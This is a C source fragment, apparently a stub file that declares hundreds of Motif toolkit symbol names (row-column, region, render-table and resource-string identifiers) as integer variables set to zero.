int XmQTmenuSystem = 0;
|
||||
int XmQTmotifTrait = 0;
|
||||
int XmQTnavigator = 0;
|
||||
int XmQTpointIn = 0;
|
||||
int XmQTscrollFrame = 0;
|
||||
int XmQTspecifyLayoutDirection = 0;
|
||||
int XmQTspecifyRenderTable = 0;
|
||||
int XmQTspecifyUnhighlight = 0;
|
||||
int XmQTspecifyUnitType = 0;
|
||||
int XmQTtakesDefault = 0;
|
||||
int XmQTtoolTip = 0;
|
||||
int XmQTtoolTipConfig = 0;
|
||||
int XmQTtransfer = 0;
|
||||
int XmQTtraversalControl = 0;
|
||||
int _XmQualifyLabelLocalCache = 0;
|
||||
int _XmQueryPixmapCache = 0;
|
||||
int _XmQueueCount = 0;
|
||||
int _XmQueueFree = 0;
|
||||
int _XmQueueInit = 0;
|
||||
int _XmQueuePop = 0;
|
||||
int _XmRCAdaptToSize = 0;
|
||||
int _XmRC_AddPopupEventHandlers = 0;
|
||||
int _XmRC_AddToPostFromList = 0;
|
||||
int _XmRCArmAndActivate = 0;
|
||||
int _XmRC_CheckAndSetOptionCascade = 0;
|
||||
int _XmRCColorHook = 0;
|
||||
int _XmRCDoMarginAdjustment = 0;
|
||||
int _XmRC_DoProcessMenuTree = 0;
|
||||
int _XmRC_GadgetTraverseDown = 0;
|
||||
int _XmRC_GadgetTraverseLeft = 0;
|
||||
int _XmRC_GadgetTraverseRight = 0;
|
||||
int _XmRC_GadgetTraverseUp = 0;
|
||||
int _XmRCGetKidGeo = 0;
|
||||
int _XmRC_GetLabelString = 0;
|
||||
int _XmRC_GetMenuAccelerator = 0;
|
||||
int _XmRC_GetMnemonicCharSet = 0;
|
||||
int _XmRCGetTopManager = 0;
|
||||
int _XmRC_KeyboardInputHandler = 0;
|
||||
int _XmRCMenuProcedureEntry = 0;
|
||||
int _XmRC_menuSystemRecord = 0;
|
||||
int _XmRC_PostTimeOut = 0;
|
||||
int _XmRCPreferredSize = 0;
|
||||
int _XmRC_ProcessSingleWidget = 0;
|
||||
int _XmRC_RemoveFromPostFromList = 0;
|
||||
int _XmRC_RemoveFromPostFromListOnDestroyCB = 0;
|
||||
int _XmRC_RemoveHandlersFromPostFromWidget = 0;
|
||||
int _XmRC_RemovePopupEventHandlers = 0;
|
||||
int _XmRCSetKidGeo = 0;
|
||||
int _XmRC_SetMenuHistory = 0;
|
||||
int _XmRC_SetOptionMenuHistory = 0;
|
||||
int _XmRC_SetOrGetTextMargins = 0;
|
||||
int _XmRCThinkAboutSize = 0;
|
||||
int _XmRC_UpdateOptionMenuCBG = 0;
|
||||
int _XmReadDragBuffer = 0;
|
||||
int _XmReadDSFromStream = 0;
|
||||
int _XmReadImageAndHotSpotFromFile = 0;
|
||||
int _XmReadInitiatorInfo = 0;
|
||||
int _XmReasonToMessageType = 0;
|
||||
int _XmReCacheLabG = 0;
|
||||
int _XmReCacheLabG_r = 0;
|
||||
int _XmRecordEvent = 0;
|
||||
int _XmRedisplayGadgets = 0;
|
||||
int _XmRedisplayHBar = 0;
|
||||
int _XmRedisplayLabG = 0;
|
||||
int _XmRedisplayVBar = 0;
|
||||
int _XmRegionClear = 0;
|
||||
int _XmRegionComputeExtents = 0;
|
||||
int _XmRegionCreate = 0;
|
||||
int _XmRegionCreateSize = 0;
|
||||
int _XmRegionDestroy = 0;
|
||||
int _XmRegionDrawShadow = 0;
|
||||
int _XmRegionEqual = 0;
|
||||
int _XmRegionFromImage = 0;
|
||||
int _XmRegionGetExtents = 0;
|
||||
int _XmRegionGetNumRectangles = 0;
|
||||
int _XmRegionGetRectangles = 0;
|
||||
int _XmRegionIntersect = 0;
|
||||
int _XmRegionIntersectRectWithRegion = 0;
|
||||
int _XmRegionIsEmpty = 0;
|
||||
int _XmRegionOffset = 0;
|
||||
int _XmRegionPointInRegion = 0;
|
||||
int _XmRegionSetGCRegion = 0;
|
||||
int _XmRegionShrink = 0;
|
||||
int _XmRegionSubtract = 0;
|
||||
int _XmRegionUnion = 0;
|
||||
int _XmRegionUnionRectWithRegion = 0;
|
||||
int _XmRegisterConverters = 0;
|
||||
int XmRegisterConverters = 0;
|
||||
int _XmRegisterPixmapConverters = 0;
|
||||
int XmRegisterSegmentEncoding = 0;
|
||||
int _XmRemoveAllCallbacks = 0;
|
||||
int _XmRemoveCallback = 0;
|
||||
int XmRemoveFromPostFromList = 0;
|
||||
int _XmRemoveGrab = 0;
|
||||
int _XmRemoveHashEntry = 0;
|
||||
int _XmRemoveHashIterator = 0;
|
||||
int XmRemoveProtocolCallback = 0;
|
||||
int XmRemoveProtocols = 0;
|
||||
int XmRemoveTabGroup = 0;
|
||||
int _Xm_RemQueue = 0;
|
||||
int _XmRenderCacheGet = 0;
|
||||
int _XmRenderCacheSet = 0;
|
||||
int XmRenderTableAddRenditions = 0;
|
||||
int XmRenderTableCopy = 0;
|
||||
int XmRenderTableCvtFromProp = 0;
|
||||
int XmRenderTableCvtToProp = 0;
|
||||
int _XmRenderTableDisplay = 0;
|
||||
int _XmRenderTableFindFallback = 0;
|
||||
int _XmRenderTableFindFirstFont = 0;
|
||||
int _XmRenderTableFindRendition = 0;
|
||||
int XmRenderTableFree = 0;
|
||||
int XmRenderTableGetDefaultFontExtents = 0;
|
||||
int XmRenderTableGetRendition = 0;
|
||||
int XmRenderTableGetRenditions = 0;
|
||||
int XmRenderTableGetTags = 0;
|
||||
int _XmRenderTableRemoveRenditions = 0;
|
||||
int XmRenderTableRemoveRenditions = 0;
|
||||
int _XmRenditionCopy = 0;
|
||||
int _XmRenditionCreate = 0;
|
||||
int XmRenditionCreate = 0;
|
||||
int XmRenditionFree = 0;
|
||||
int _XmRenditionMerge = 0;
|
||||
int XmRenditionRetrieve = 0;
|
||||
int XmRenditionUpdate = 0;
|
||||
int _XmReOrderResourceList = 0;
|
||||
int XmRepTypeAddReverse = 0;
|
||||
int XmRepTypeGetId = 0;
|
||||
int XmRepTypeGetNameList = 0;
|
||||
int XmRepTypeGetRecord = 0;
|
||||
int XmRepTypeGetRegistered = 0;
|
||||
int _XmRepTypeInstallConverters = 0;
|
||||
int XmRepTypeInstallTearOffModelConverter = 0;
|
||||
int XmRepTypeRegister = 0;
|
||||
int XmRepTypeValidValue = 0;
|
||||
int _XmRequestNewSize = 0;
|
||||
int _XmResetTravGraph = 0;
|
||||
int _XmResizeHashTable = 0;
|
||||
int _XmResizeObject = 0;
|
||||
int _XmResizeWidget = 0;
|
||||
int XmResolveAllPartOffsets = 0;
|
||||
int XmResolveAllPartOffsets64 = 0;
|
||||
int XmResolvePartOffsets = 0;
|
||||
int _XmRestoreCoreClassTranslations = 0;
|
||||
int _XmRestoreExcludedTearOffToToplevelShell = 0;
|
||||
int _XmRestoreTearOffToMenuShell = 0;
|
||||
int _XmRestoreTearOffToToplevelShell = 0;
|
||||
int _XmRootGeometryManager = 0;
|
||||
int _XmRowColumn_bar_table = 0;
|
||||
int xmRowColumnClassRec = 0;
|
||||
int _XmRowColumn_menu_table = 0;
|
||||
int _XmRowColumn_menu_traversal_table = 0;
|
||||
int _XmRowColumn_option_table = 0;
|
||||
int xmRowColumnWidgetClass = 0;
|
||||
int _XmSaccelerator = 0;
|
||||
int _XmSacceleratorText = 0;
|
||||
int _XmSactivateCallback = 0;
|
||||
int _XmSadjustLast = 0;
|
||||
int _XmSadjustMargin = 0;
|
||||
int _XmSalignment = 0;
|
||||
int _XmSallowOverlap = 0;
|
||||
int _XmSallowResize = 0;
|
||||
int _XmSanimationMask = 0;
|
||||
int _XmSanimationPixmap = 0;
|
||||
int _XmSanimationPixmapDepth = 0;
|
||||
int _XmSanimationStyle = 0;
|
||||
int _XmSapplyCallback = 0;
|
||||
int _XmSapplyLabelString = 0;
|
||||
int _XmSarmCallback = 0;
|
||||
int _XmSarmColor = 0;
|
||||
int _XmSarmPixmap = 0;
|
||||
int _XmSarrowDirection = 0;
|
||||
int xmSashClassRec = 0;
|
||||
int _XmSash_defTranslations = 0;
|
||||
int xmSashWidgetClass = 0;
|
||||
int _XmSattachment = 0;
|
||||
int _XmSaudibleWarning = 0;
|
||||
int _XmSautomaticSelection = 0;
|
||||
int _XmSautoShowCursorPosition = 0;
|
||||
int _XmSautoUnmanage = 0;
|
||||
int _XmSavailability = 0;
|
||||
int _XmSaveCoreClassTranslations = 0;
|
||||
int _XmSaveMenuProcContext = 0;
|
||||
int _XmSblendModel = 0;
|
||||
int _XmSblinkRate = 0;
|
||||
int _XmSbottomAttachment = 0;
|
||||
int _XmSbottomOffset = 0;
|
||||
int _XmSbottomPosition = 0;
|
||||
int _XmSbottomShadowColor = 0;
|
||||
int _XmSbottomShadowPixmap = 0;
|
||||
int _XmSbottomWidget = 0;
|
||||
int _XmSbrowseSelectionCallback = 0;
|
||||
int _XmSbuttonAccelerators = 0;
|
||||
int _XmSbuttonAcceleratorText = 0;
|
||||
int _XmSbuttonCount = 0;
|
||||
int _XmSbuttonFontList = 0;
|
||||
int _XmSbuttonMnemonicCharSets = 0;
|
||||
int _XmSbuttonMnemonics = 0;
|
||||
int _XmSbuttons = 0;
|
||||
int _XmSbuttonSet = 0;
|
||||
int _XmSbuttonType = 0;
|
||||
int _XmSCAccelerator = 0;
|
||||
int _XmSCAcceleratorText = 0;
|
||||
int _XmSCAdjustLast = 0;
|
||||
int _XmSCAdjustMargin = 0;
|
||||
int xmScaleClassRec = 0;
|
||||
int _XmScaleGetTitleString = 0;
|
||||
int XmScaleGetValue = 0;
|
||||
int XmScaleSetTicks = 0;
|
||||
int XmScaleSetValue = 0;
|
||||
int xmScaleWidgetClass = 0;
|
||||
int _XmSCAlignment = 0;
|
||||
int _XmSCAllowOverlap = 0;
|
||||
int _XmScancelButton = 0;
|
||||
int _XmScancelCallback = 0;
|
||||
int _XmScancelLabelString = 0;
|
||||
int _XmSCAnimationMask = 0;
|
||||
int _XmSCAnimationPixmap = 0;
|
||||
int _XmSCAnimationPixmapDepth = 0;
|
||||
int _XmSCAnimationStyle = 0;
|
||||
int _XmScanningCacheGet = 0;
|
||||
int _XmScanningCacheSet = 0;
|
||||
int _XmSCApplyLabelString = 0;
|
||||
int _XmSCArmCallback = 0;
|
||||
int _XmSCArmColor = 0;
|
||||
int _XmSCArmPixmap = 0;
|
||||
int _XmSCArrowDirection = 0;
|
||||
int _XmScascadeButton = 0;
|
||||
int _XmScascadePixmap = 0;
|
||||
int _XmScascadingCallback = 0;
|
||||
int _XmSCAtomList = 0;
|
||||
int _XmSCAttachment = 0;
|
||||
int _XmSCAudibleWarning = 0;
|
||||
int _XmSCAutomaticSelection = 0;
|
||||
int _XmSCAutoShowCursorPosition = 0;
|
||||
int _XmSCAutoUnmanage = 0;
|
||||
int _XmSCAvailability = 0;
|
||||
int _XmSCBackgroundPixmap = 0;
|
||||
int _XmSCBlendModel = 0;
|
||||
int _XmSCBlinkRate = 0;
|
||||
int _XmSCBooleanDimension = 0;
|
||||
int _XmSCBottomShadowColor = 0;
|
||||
int _XmSCBottomShadowPixmap = 0;
|
||||
int _XmSCButtonAccelerators = 0;
|
||||
int _XmSCButtonAcceleratorText = 0;
|
||||
int _XmSCButtonCount = 0;
|
||||
int _XmSCButtonFontList = 0;
|
||||
int _XmSCButtonMnemonicCharSets = 0;
|
||||
int _XmSCButtonMnemonics = 0;
|
||||
int _XmSCButtons = 0;
|
||||
int _XmSCButtonSet = 0;
|
||||
int _XmSCButtonType = 0;
|
||||
int _XmSCCallbackProc = 0;
|
||||
int _XmSCCancelLabelString = 0;
|
||||
int _XmSCChar = 0;
|
||||
int _XmSCCharSetTable = 0;
|
||||
int _XmSCChildHorizontalAlignment = 0;
|
||||
int _XmSCChildHorizontalSpacing = 0;
|
||||
int _XmSCChildPlacement = 0;
|
||||
int _XmSCChildren = 0;
|
||||
int _XmSCChildType = 0;
|
||||
int _XmSCChildVerticalAlignment = 0;
|
||||
int _XmSCClientData = 0;
|
||||
int _XmSCClipWindow = 0;
|
||||
int _XmSCColumns = 0;
|
||||
int _XmSCCommandWindow = 0;
|
||||
int _XmSCCommandWindowLocation = 0;
|
||||
int _XmSCCompoundText = 0;
|
||||
int _XmSCConvertProc = 0;
|
||||
int _XmSCCursorBackground = 0;
|
||||
int _XmSCCursorForeground = 0;
|
||||
int _XmSCCursorPosition = 0;
|
||||
int _XmSCCursorPositionVisible = 0;
|
||||
int _XmSCDarkThreshold = 0;
|
||||
int _XmSCDecimalPoints = 0;
|
||||
int _XmSCDefaultButtonShadowThickness = 0;
|
||||
int _XmSCDefaultButtonType = 0;
|
||||
int _XmSCDefaultCopyCursorIcon = 0;
|
||||
int _XmSCDefaultFontList = 0;
|
||||
int _XmSCDefaultInvalidCursorIcon = 0;
|
||||
int _XmSCDefaultLinkCursorIcon = 0;
|
||||
int _XmSCDefaultMoveCursorIcon = 0;
|
||||
int _XmSCDefaultNoneCursorIcon = 0;
|
||||
int _XmSCDefaultPosition = 0;
|
||||
int _XmSCDefaultSourceCursorIcon = 0;
|
||||
int _XmSCDefaultValidCursorIcon = 0;
|
||||
int _XmSCDeleteResponse = 0;
|
||||
int _XmSCDesktopParent = 0;
|
||||
int _XmSCDialogStyle = 0;
|
||||
int _XmSCDialogTitle = 0;
|
||||
int _XmSCDialogType = 0;
|
||||
int _XmSCDirectory = 0;
|
||||
int _XmSCDirectoryValid = 0;
|
||||
int _XmSCDirListItemCount = 0;
|
||||
int _XmSCDirListItems = 0;
|
||||
int _XmSCDirListLabelString = 0;
|
||||
int _XmSCDirMask = 0;
|
||||
int _XmSCDirSearchProc = 0;
|
||||
int _XmSCDirSpec = 0;
|
||||
int _XmSCDisarmCallback = 0;
|
||||
int _XmSCDoubleClickInterval = 0;
|
||||
int _XmSCDragContextClass = 0;
|
||||
int _XmSCDragDropFinishCallback = 0;
|
||||
int _XmSCDragIconClass = 0;
|
||||
int _XmSCDragInitiatorProtocolStyle = 0;
|
||||
int _XmSCDragMotionCallback = 0;
|
||||
int _XmSCDragOperations = 0;
|
||||
int _XmSCDragOverMode = 0;
|
||||
int _XmSCDragProc = 0;
|
||||
int _XmSCDragReceiverProtocolStyle = 0;
|
||||
int _XmSCDropProc = 0;
|
||||
int _XmSCDropRectangles = 0;
|
||||
int _XmSCDropSiteActivity = 0;
|
||||
int _XmSCDropSiteEnterCallback = 0;
|
||||
int _XmSCDropSiteLeaveCallback = 0;
|
||||
int _XmSCDropSiteManagerClass = 0;
|
||||
int _XmSCDropSiteOperations = 0;
|
||||
int _XmSCDropSiteType = 0;
|
||||
int _XmSCDropStartCallback = 0;
|
||||
int _XmSCDropTransferClass = 0;
|
||||
int _XmSCDropTransfers = 0;
|
||||
int _XmSCEditable = 0;
|
||||
int _XmSCEntryBorder = 0;
|
||||
int _XmSCEntryClass = 0;
|
||||
int _XmSCExportTargets = 0;
|
||||
int _XmSCExposeCallback = 0;
|
||||
int _XmSCExtensionType = 0;
|
||||
int _XmSCFileListItemCount = 0;
|
||||
int _XmSCFileListItems = 0;
|
||||
int _XmSCFileListLabelString = 0;
|
||||
int _XmSCFileSearchProc = 0;
|
||||
int _XmSCFileTypeMask = 0;
|
||||
int _XmSCFillOnArm = 0;
|
||||
int _XmSCFillOnSelect = 0;
|
||||
int _XmSCFilterLabelString = 0;
|
||||
int _XmSCFontList = 0;
|
||||
int _XmSCFONTLIST_DEFAULT_TAG_STRING = 0;
|
||||
int _XmSCForegroundThreshold = 0;
|
||||
int _XmSCGadgetPixmap = 0;
|
||||
int _XmScheckButton = 0;
|
||||
int _XmSCHelpLabelString = 0;
|
||||
int _XmSCHighlightColor = 0;
|
||||
int _XmSCHighlightOnEnter = 0;
|
||||
int _XmSCHighlightPixmap = 0;
|
||||
int _XmSCHighlightThickness = 0;
|
||||
int _XmSchildHorizontalAlignment = 0;
|
||||
int _XmSchildHorizontalSpacing = 0;
|
||||
int _XmSchildPlacement = 0;
|
||||
int _XmSchildPosition = 0;
|
||||
int _XmSchildType = 0;
|
||||
int _XmSchildVerticalAlignment = 0;
|
||||
int _XmSCHorizontalDimension = 0;
|
||||
int _XmSCHorizontalFontUnit = 0;
|
||||
int _XmSCHorizontalInt = 0;
|
||||
int _XmSCHorizontalPosition = 0;
|
||||
int _XmSCHorizontalScrollBar = 0;
|
||||
int _XmSCHot = 0;
|
||||
int _XmSCICCHandle = 0;
|
||||
int _XmSCIconAttachment = 0;
|
||||
int _XmSCImportTargets = 0;
|
||||
int _XmSCIncrement = 0;
|
||||
int _XmSCIncremental = 0;
|
||||
int _XmSCIndicatorOn = 0;
|
||||
int _XmSCIndicatorSize = 0;
|
||||
int _XmSCIndicatorType = 0;
|
||||
int _XmSCInitialDelay = 0;
|
||||
int _XmSCInitialFocus = 0;
|
||||
int _XmSCInputCreate = 0;
|
||||
int _XmSCInputMethod = 0;
|
||||
int _XmSCInvalidCursorForeground = 0;
|
||||
int _XmSCIsAligned = 0;
|
||||
int _XmSCIsHomogeneous = 0;
|
||||
int _XmSCISO8859_DASH_1 = 0;
|
||||
int _XmSCItemCount = 0;
|
||||
int _XmSCItems = 0;
|
||||
int _XmSCKeyboardFocusPolicy = 0;
|
||||
int _XmSCKeySym = 0;
|
||||
int _XmSCKeySymTable = 0;
|
||||
int _XmSCLabelFontList = 0;
|
||||
int _XmSCLabelInsensitivePixmap = 0;
|
||||
int _XmSCLabelPixmap = 0;
|
||||
int _XmSCLabelString = 0;
|
||||
int _XmSCLabelType = 0;
|
||||
int _XmSclientData = 0;
|
||||
int _XmSCLightThreshold = 0;
|
||||
int _XmSclipWindow = 0;
|
||||
int _XmSCListLabelString = 0;
|
||||
int _XmSCListMarginHeight = 0;
|
||||
int _XmSCListMarginWidth = 0;
|
||||
int _XmSCListSizePolicy = 0;
|
||||
int _XmSCListSpacing = 0;
|
||||
int _XmSCListUpdated = 0;
|
||||
int _XmSCLogicalParent = 0;
|
||||
int _XmSCMainWindowMarginHeight = 0;
|
||||
int _XmSCMainWindowMarginWidth = 0;
|
||||
int _XmSCManBottomShadowPixmap = 0;
|
||||
int _XmSCManForegroundPixmap = 0;
|
||||
int _XmSCManHighlightPixmap = 0;
|
||||
int _XmSCManTopShadowPixmap = 0;
|
||||
int _XmSCMappingDelay = 0;
|
||||
int _XmSCMarginBottom = 0;
|
||||
int _XmSCMarginHeight = 0;
|
||||
int _XmSCMarginLeft = 0;
|
||||
int _XmSCMarginRight = 0;
|
||||
int _XmSCMarginTop = 0;
|
||||
int _XmSCMarginWidth = 0;
|
||||
int _XmSCMask = 0;
|
||||
int _XmSCMaximum = 0;
|
||||
int _XmSCMaxItems = 0;
|
||||
int _XmSCMaxLength = 0;
|
||||
int _XmSCMaxValue = 0;
|
||||
int _XmSCMenuBar = 0;
|
||||
int _XmSCMenuPost = 0;
|
||||
int _XmSCMenuWidget = 0;
|
||||
int _XmSCMessageProc = 0;
|
||||
int _XmSCMessageWindow = 0;
|
||||
int _XmSCMinimizeButtons = 0;
|
||||
int _XmSCMinimum = 0;
|
||||
int _XmSCMnemonic = 0;
|
||||
int _XmSCMnemonicCharSet = 0;
|
||||
int _XmSCMoveOpaque = 0;
|
||||
int _XmSCMultiClick = 0;
|
||||
int _XmSCMustMatch = 0;
|
||||
int _XmSCMwmDecorations = 0;
|
||||
int _XmSCMwmFunctions = 0;
|
||||
int _XmSCMwmInputMode = 0;
|
||||
int _XmSCMwmMenu = 0;
|
||||
int _XmSCMwmMessages = 0;
|
||||
int _XmSCNavigationType = 0;
|
||||
int _XmSCNeedsMotion = 0;
|
||||
int _XmSCNoMatchString = 0;
|
||||
int _XmSCNoneCursorForeground = 0;
|
||||
int _XmSCNoResize = 0;
|
||||
int _XmSCNotifyProc = 0;
|
||||
int _XmSCNumChildren = 0;
|
||||
int _XmSCNumColumns = 0;
|
||||
int _XmSCNumDropRectangles = 0;
|
||||
int _XmSCNumDropTransfers = 0;
|
||||
int _XmSCNumExportTargets = 0;
|
||||
int _XmSCNumImportTargets = 0;
|
||||
int _XmSCOffset = 0;
|
||||
int _XmSCOkLabelString = 0;
|
||||
int _XmScolumns = 0;
|
||||
int _XmScommand = 0;
|
||||
int _XmScommandChangedCallback = 0;
|
||||
int _XmScommandEnteredCallback = 0;
|
||||
int _XmScommandWindow = 0;
|
||||
int _XmScommandWindowLocation = 0;
|
||||
int _XmSconvertProc = 0;
|
||||
int _XmSCOperationChangedCallback = 0;
|
||||
int _XmSCOperationCursorIcon = 0;
|
||||
int _XmSCOptionLabel = 0;
|
||||
int _XmSCOptionMnemonic = 0;
|
||||
int _XmSCOutputCreate = 0;
|
||||
int _XmSCPacking = 0;
|
||||
int _XmSCPageIncrement = 0;
|
||||
int _XmSCPaneMaximum = 0;
|
||||
int _XmSCPaneMinimum = 0;
|
||||
int _XmSCPattern = 0;
|
||||
int _XmSCPendingDelete = 0;
|
||||
int _XmSCPopupEnabled = 0;
|
||||
int _XmSCPositionIndex = 0;
|
||||
int _XmSCPostFromButton = 0;
|
||||
int _XmSCPostFromCount = 0;
|
||||
int _XmSCPostFromList = 0;
|
||||
int _XmSCPreeditType = 0;
|
||||
int _XmSCPrimForegroundPixmap = 0;
|
||||
int _XmSCProc = 0;
|
||||
int _XmSCProcessingDirection = 0;
|
||||
int _XmSCPromptString = 0;
|
||||
int _XmSCProtocolCallback = 0;
|
||||
int _XmSCPushButtonEnabled = 0;
|
||||
int _XmSCQualifySearchDataProc = 0;
|
||||
int _XmSCRadioAlwaysOne = 0;
|
||||
int _XmSCRadioBehavior = 0;
|
||||
int _XmSCRecomputeSize = 0;
|
||||
int _XmSCRectangleList = 0;
|
||||
int _XmSCRectangles = 0;
|
||||
int xmScreenClass = 0;
|
||||
int xmScreenClassRec = 0;
|
||||
int _XmScreenGetOperationIcon = 0;
|
||||
int _XmScreenGetSourceIcon = 0;
|
||||
int _XmScreenGetStateIcon = 0;
|
||||
int xmScreenObjectClass = 0;
|
||||
int _XmScreenRemoveFromCursorCache = 0;
|
||||
int _XmSCRepeatDelay = 0;
|
||||
int _XmSCResizeCallback = 0;
|
||||
int _XmSCResizeHeight = 0;
|
||||
int _XmSCResizePolicy = 0;
|
||||
int _XmSCResizeWidth = 0;
|
||||
int xmScrollBarClassRec = 0;
|
||||
int _XmScrollBar_defaultTranslations = 0;
|
||||
int XmScrollBarGetValues = 0;
|
||||
int XmScrollBarSetValues = 0;
|
||||
int xmScrollBarWidgetClass = 0;
|
||||
int xmScrolledWindowClassRec = 0;
|
||||
int XmScrolledWindowSetAreas = 0;
|
||||
int xmScrolledWindowWidgetClass = 0;
|
||||
int _XmScrolledW_ScrolledWindowXlations = 0;
|
||||
int XmScrollVisible = 0;
|
||||
int _XmSCRowColumnType = 0;
|
||||
int _XmSCRows = 0;
|
||||
int _XmSCRubberPositioning = 0;
|
||||
int _XmSCSashHeight = 0;
|
||||
int _XmSCSashIndent = 0;
|
||||
int _XmSCSashWidth = 0;
|
||||
int _XmSCScaleHeight = 0;
|
||||
int _XmSCScaleMultiple = 0;
|
||||
int _XmSCScaleWidth = 0;
|
||||
int _XmSCScroll = 0;
|
||||
int _XmSCScrollBarDisplayPolicy = 0;
|
||||
int _XmSCScrollBarPlacement = 0;
|
||||
int _XmSCScrolledWindowMarginHeight = 0;
|
||||
int _XmSCScrolledWindowMarginWidth = 0;
|
||||
int _XmSCScrollingPolicy = 0;
|
||||
int _XmSCScrollSide = 0;
|
||||
int _XmSCSelectColor = 0;
|
||||
int _XmSCSelectedItemCount = 0;
|
||||
int _XmSCSelectedItems = 0;
|
||||
int _XmSCSelectInsensitivePixmap = 0;
|
||||
int _XmSCSelectionArrayCount = 0;
|
||||
int _XmSCSelectionLabelString = 0;
|
||||
int _XmSCSelectionPolicy = 0;
|
||||
int _XmSCSelectionType = 0;
|
||||
int _XmSCSelectPixmap = 0;
|
||||
int _XmSCSelectThreshold = 0;
|
||||
int _XmSCSeparatorOn = 0;
|
||||
int _XmSCSeparatorType = 0;
|
||||
int _XmSCSet = 0;
|
||||
int _XmSCShadowThickness = 0;
|
||||
int _XmSCShadowType = 0;
|
||||
int _XmSCShellHorizDim = 0;
|
||||
int _XmSCShellHorizPos = 0;
|
||||
int _XmSCShellUnitType = 0;
|
||||
int _XmSCShellVertDim = 0;
|
||||
int _XmSCShellVertPos = 0;
|
||||
int _XmSCShowArrows = 0;
|
||||
int _XmSCShowAsDefault = 0;
|
||||
int _XmSCShowSeparator = 0;
|
||||
int _XmSCShowValue = 0;
|
||||
int _XmSCSimpleCheckBox = 0;
|
||||
int _XmSCSimpleMenuBar = 0;
|
||||
int _XmSCSimpleOptionMenu = 0;
|
||||
int _XmSCSimplePopupMenu = 0;
|
||||
int _XmSCSimplePulldownMenu = 0;
|
||||
int _XmSCSimpleRadioBox = 0;
|
||||
int _XmSCSizePolicy = 0;
|
||||
int _XmSCSliderSize = 0;
|
||||
int _XmSCSource = 0;
|
||||
int _XmSCSourceCursorIcon = 0;
|
||||
int _XmSCSourceIsExternal = 0;
|
||||
int _XmSCSourcePixmapIcon = 0;
|
||||
int _XmSCSourceWidget = 0;
|
||||
int _XmSCSourceWindow = 0;
|
||||
int _XmSCSpacing = 0;
|
||||
int _XmSCStartTime = 0;
|
||||
int _XmSCStateCursorIcon = 0;
|
||||
int _XmSCStringDirection = 0;
|
||||
int _XmSCTearOffModel = 0;
|
||||
int _XmSCTextFontList = 0;
|
||||
int _XmSCTextString = 0;
|
||||
int _XmSCTextValue = 0;
|
||||
int _XmSCTitleString = 0;
|
||||
int _XmSCTopCharacter = 0;
|
||||
int _XmSCTopItemPosition = 0;
|
||||
int _XmSCTopLevelEnterCallback = 0;
|
||||
int _XmSCTopLevelLeaveCallback = 0;
|
||||
int _XmSCTopShadowColor = 0;
|
||||
int _XmSCTopShadowPixmap = 0;
|
||||
int _XmSCTransferProc = 0;
|
||||
int _XmSCTransferStatus = 0;
|
||||
int _XmSCTraversalOn = 0;
|
||||
int _XmSCTraversalType = 0;
|
||||
int _XmSCTreeUpdateProc = 0;
|
||||
int _XmSCTroughColor = 0;
|
||||
int _XmSCUnitType = 0;
|
||||
int _XmSCUnpostBehavior = 0;
|
||||
int _XmSCUnselectPixmap = 0;
|
||||
int _XmSCUpdateSliderSize = 0;
|
||||
int _XmScursorBackground = 0;
|
||||
int _XmScursorForeground = 0;
|
||||
int _XmScursorPosition = 0;
|
||||
int _XmScursorPositionVisible = 0;
|
||||
int _XmSCUseAsyncGeometry = 0;
|
||||
int _XmSCUserData = 0;
|
||||
int _XmSCValidCursorForeground = 0;
|
||||
int _XmSCValueChangedCallback = 0;
|
||||
int _XmSCValueWcs = 0;
|
||||
int _XmSCVerifyBell = 0;
|
||||
int _XmSCVerticalAlignment = 0;
|
||||
int _XmSCVerticalDimension = 0;
|
||||
int _XmSCVerticalFontUnit = 0;
|
||||
int _XmSCVerticalInt = 0;
|
||||
int _XmSCVerticalPosition = 0;
|
||||
int _XmSCVerticalScrollBar = 0;
|
||||
int _XmSCVirtualBinding = 0;
|
||||
int _XmSCVisibleItemCount = 0;
|
||||
int _XmSCVisibleWhenOff = 0;
|
||||
int _XmSCVisualPolicy = 0;
|
||||
int _XmSCWhichButton = 0;
|
||||
int _XmSCWordWrap = 0;
|
||||
int _XmSCWorkWindow = 0;
|
||||
int _XmSCXmBackgroundPixmap = 0;
|
||||
int _XmSCXmFONTLIST_DEFAULT_TAG_STRING = 0;
|
||||
int _XmSCXmString = 0;
|
||||
int _XmSCXmStringCharSet = 0;
|
||||
int _XmSCXmStringTable = 0;
|
||||
int _XmSdarkThreshold = 0;
|
||||
int _XmSdecimalPoints = 0;
|
||||
int _XmSdecrementCallback = 0;
|
||||
int _XmSdefaultActionCallback = 0;
|
||||
int _XmSDEFAULT_BACKGROUND = 0;
|
||||
int _XmSdefaultButton = 0;
|
||||
int _XmSdefaultButtonShadowThickness = 0;
|
||||
int _XmSdefaultButtonType = 0;
|
||||
int _XmSdefaultCopyCursorIcon = 0;
|
||||
int _XmSDEFAULT_FONT = 0;
|
||||
int _XmSdefaultFontList = 0;
|
||||
int _XmSdefaultInvalidCursorIcon = 0;
|
||||
int _XmSdefaultLinkCursorIcon = 0;
|
||||
int _XmSdefaultMoveCursorIcon = 0;
|
||||
int _XmSdefaultNoneCursorIcon = 0;
|
||||
int _XmSdefaultPosition = 0;
|
||||
int _XmSdefaultSourceCursorIcon = 0;
|
||||
int _XmSdefaultValidCursorIcon = 0;
|
||||
int _XmSdeleteResponse = 0;
|
||||
int _XmSdesktopParent = 0;
|
||||
int _XmSdialogStyle = 0;
|
||||
int _XmSdialogTitle = 0;
|
||||
int _XmSdialogType = 0;
|
||||
int _XmSdirectory = 0;
|
||||
int _XmSdirectoryValid = 0;
|
||||
int _XmSdirListItemCount = 0;
|
||||
int _XmSdirListItems = 0;
|
||||
int _XmSdirListLabelString = 0;
|
||||
int _XmSdirMask = 0;
|
||||
int _XmSdirSearchProc = 0;
|
||||
int _XmSdirSpec = 0;
|
||||
int _XmSdisarmCallback = 0;
|
||||
int _XmSdoubleClickInterval = 0;
|
||||
int _XmSdoubleSeparator = 0;
|
||||
int _XmSdragCallback = 0;
|
||||
int _XmSdragContextClass = 0;
|
||||
int _XmSdragDropFinishCallback = 0;
|
||||
int _XmSdragIconClass = 0;
|
||||
int _XmSdragInitiatorProtocolStyle = 0;
|
||||
int _XmSdragMotionCallback = 0;
|
||||
int _XmSdragOperations = 0;
|
||||
int _XmSdragOverMode = 0;
|
||||
int _XmSdragProc = 0;
|
||||
int _XmSdragReceiverProtocolStyle = 0;
|
||||
int _XmSdropFinishCallback = 0;
|
||||
int _XmSdropProc = 0;
|
||||
int _XmSdropRectangles = 0;
|
||||
int _XmSdropSiteActivity = 0;
|
||||
int _XmSdropSiteEnterCallback = 0;
|
||||
int _XmSdropSiteLeaveCallback = 0;
|
||||
